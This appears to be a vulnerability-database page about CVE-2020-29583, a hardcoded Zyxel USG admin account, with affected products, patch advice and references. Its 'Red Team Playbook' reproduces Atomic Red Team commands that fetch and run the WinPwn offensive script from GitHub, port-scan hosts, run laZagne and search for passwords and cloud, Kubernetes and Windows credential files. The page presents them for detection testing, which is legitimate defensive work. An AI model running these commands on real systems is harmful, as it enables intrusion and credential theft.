CVE-2020-29583
Overview
This vulnerability is a hardcoded credential issue in Zyxel USG firmware version 4.60. An undocumented user account named 'zyfwp' exists with a fixed password embedded in cleartext within the firmware image. This account provides administrative access to device management interfaces, including SSH and the web interface, without the possibility of changing the password.
Vulnerability Description
Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the ssh server or web interface with admin privileges.
Impact
An attacker with network access to the affected Zyxel USG devices can authenticate as an administrator without any prior credentials or user interaction. This grants full control over device configuration and management, enabling unauthorized access to sensitive network infrastructure. The compromise can lead to lateral movement within the network, interception or manipulation of traffic, and disruption of network services.
Solution
Zyxel has released patched firmware versions to address this issue; administrators should upgrade affected devices to firmware version 4.60 Patch 1 or later as detailed in Zyxel's security advisory available at https://www.zyxel.com/support/security_advisories.shtml. The advisory provides step-by-step instructions for updating USG20, USG40, and USG60 series devices. No workaround is recommended other than applying the official firmware update to remove the hardcoded account.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (30)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Usg20-Vpn Firmware | 4.60 |
cpe:2.3:o:zyxel:usg20-vpn_firmware:4.60:*:*:*:*:*:*:*
|
|
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Zyxel | Usg20w-Vpn Firmware | 4.60 |
cpe:2.3:o:zyxel:usg20w-vpn_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg40 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg40_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg40w Firmware | 4.60 |
cpe:2.3:o:zyxel:usg40w_firmware:4.60:*:*:*:*:*:*:*
|
|
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Zyxel | Usg60 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg60_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg60w Firmware | 4.60 |
cpe:2.3:o:zyxel:usg60w_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg110 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg110_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg210 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg210_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg310 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg310_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Usg1100 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg1100_firmware:4.60:*:*:*:*:*:*:*
|
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Zyxel | Usg1900 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg1900_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Usg2200 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg2200_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Zywall110 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall110_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Zywall310 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall310_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Zywall1100 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall1100_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Atp100 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp100_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Atp100w Firmware | 4.60 |
cpe:2.3:o:zyxel:atp100w_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Atp200 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp200_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Atp500 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp500_firmware:4.60:*:*:*:*:*:*:*
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Zyxel | Atp700 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp700_firmware:4.60:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ruppde/scan_CVE-2020-29583
Scanner for Zyxel products which are potentially vulnerable due to an undocumented user account (CVE-2020-29583)
|
ruppde | 16 | 3 | 2021-01-04 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
50 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
$extList = #{extension_id}
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-29583 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/support/security_advisories.shtml |
| ftp.zyxel.com |
GitHub CVE
|
http://ftp.zyxel.com/USG40/firmware/USG40_4.60%28AALA.1%29C0_2.pdf |
| businessforum.zyxel.com |
GitHub CVE
|
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15 |
| businessforum.zyxel.com |
GitHub CVE
|
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release |
| eyecontrol.nl |
GitHub CVE
|
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/support/CVE-2020-29583.shtml |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/a-secret-zyxel-firewall-and-ap-controllers-could-allow-for-administrative-access-cve-2020-29583/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-29583 |